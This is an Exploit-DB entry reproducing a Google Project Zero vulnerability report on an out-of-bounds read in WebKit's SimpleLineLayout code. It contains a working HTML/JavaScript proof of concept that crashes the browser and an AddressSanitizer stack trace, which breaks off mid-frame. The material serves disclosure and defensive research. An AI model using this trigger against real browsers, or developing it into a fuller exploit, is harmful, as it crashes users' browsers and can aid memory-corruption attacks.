Exploit-DB #43171
Description: WebKit - 'WebCore::SimpleLineLayout::RunResolver::runForPoint' Out-of-Bounds Read
Type: dos
Platform: multiple
Date: 2017-11-22
Author: Google Security Research

Exploit:
/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1349

There is an out-of-bounds read security vulnerability in WebKit. The vulnerability was confirmed on ASan build of WebKit nightly.

PoC:

=================================================================
*/

<style>
* { border-bottom: green solid; margin: 0px; }
</style>
<script>
function eventhandler() {
  dd.before(a);
  document.caretRangeFromPoint(0,0);
}
</script>
<h6>
<a id="a"></a>
</h6>
<dd id="dd"></dd>
<svg>
<set attributeName="dominant-baseline" onbegin="eventhandler()" />

/*
=================================================================

ASan log:

=================================================================
==30436==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x606000560c48 at pc 0x00010c8f583a bp 0x7fff5c1a8e70 sp 0x7fff5c1a8e68
READ of size 4 at 0x606000560c48 thread T0
==30436==WARNING: invalid path to external symbolizer!
==30436==WARNING: Failed to use and restart external symbolizer!
    #0 0x10c8f5839 in WebCore::SimpleLineLayout::RunResolver::Run::logicalLeft() const (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2ba4839)
    #1 0x10c8fd2cb in WebCore::SimpleLineLayout::RunResolver::runForPoint(WebCore::LayoutPoint const&) const (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2bac2cb)
    #2 0x10c8f533f in WebCore::SimpleLineLayout::textOffsetForPoint(WebCore::LayoutPoint const&, WebCore::RenderText const&, WebCore::SimpleLineLayout::Layout const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2ba433f)
    #3 0x10c635a06 in WebCore::RenderText::positionForPoint(WebCore::LayoutPoint const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x28e4a06)
    #4 0x10c2f5080 in WebCore::RenderBlockFlow::positionForPoint(WebCore::LayoutPoint const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x25a4080)
    #5 0x10a4e350a in WebCore::Document::caretRangeFromPoint(WebCore::LayoutPoint const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x79250a)
    #6 0x10a4e3301 in WebCore::Document::caretRangeFromPoint(int, int) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x792301)
    #7 0x10b0fb98b in WebCore::jsDocumentPrototypeFunctionCaretRangeFromPointBody(JSC::ExecState*, WebCore::JSDocument*, JSC::ThrowScope&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x13aa98b)
    #8 0x10b0e0c28 in long long WebCore::IDLOperation<WebCore::JSDocument>::call<&(WebCore::jsDocumentPrototypeFunctionCaretRangeFromPointBody(JSC::ExecState*, WebCore::JSDocument*, JSC::ThrowScope&)), (WebCore::CastedThisErrorBehavior)0>(JSC::ExecState&, char const*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x138fc28)
    #9 0x4f28e9401027  (<unknown module>)
    #10 0x11825fe49 in llint_entry (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x16aae49)
    #11 0x11825fe49 in llint_entry (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x16aae49)
    #12 0x118258f6f in vmEntryToJavaScript (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x16a3f6f)
    #13 0x117ebc847 in JSC::JITCode::execute(JSC::VM*, JSC::ProtoCallFrame*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x1307847)
    #14 0x117e3d88a in JSC::Interpreter::executeCall(JSC::ExecState*, JSC::JSObject*, JSC::CallType, JSC::CallData const&, JSC::JSValue, JSC::ArgList const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x128888a)
    #15 0x117456731 in JSC::call(JSC::ExecState*, JSC::JSValue, JSC::CallType, JSC::CallData const&, JSC::JSValue, JSC::ArgList const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x8a1731)
    #16 0x1174569a2 in JSC::call(JSC::ExecState*, JSC::JSValue, JSC::CallType, JSC::CallData const&, JSC::JSValue, JSC::ArgList const&, WTF::NakedPtr<JSC::Exception>&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x8a19a2)
    #17 0x117456d13 in JSC::profiledCall(JSC::ExecState*, JSC::ProfilingReason, JSC::JSValue, JSC::CallType, JSC::CallData const&, JSC::JSValue, JSC::ArgList const&, WTF::NakedPtr<JSC::Exception>&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x8a1d13)
    #18 0x10af8f615 in WebCore::JSMainThreadExecState::profiledCall(JSC::ExecState*, JSC::ProfilingReason, JSC::JSValue, JSC::CallType, JSC::CallData const&, JSC::JSValue, JSC::ArgList const&, WTF::NakedPtr<JSC::Exception>&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x123e615)
    #19 0x10b3a26cd in WebCore::JSEventListener::handleEvent(WebCore::ScriptExecutionContext&, WebCore::Event&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x16516cd)
    #20 0x10a70e010 in WebCore::EventTarget::fireEventListeners(WebCore::Event&, WTF::Vector<WTF::RefPtr<WebCore::RegisteredEventListener>, 1ul, WTF::CrashOnOverflow, 16ul>) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x9bd010)
    #21 0x10a70dae0 in WebCore::EventTarget::fireEventListeners(WebCore::Event&) (/Users/projectzero/webkit/webkit/WebKitBuild/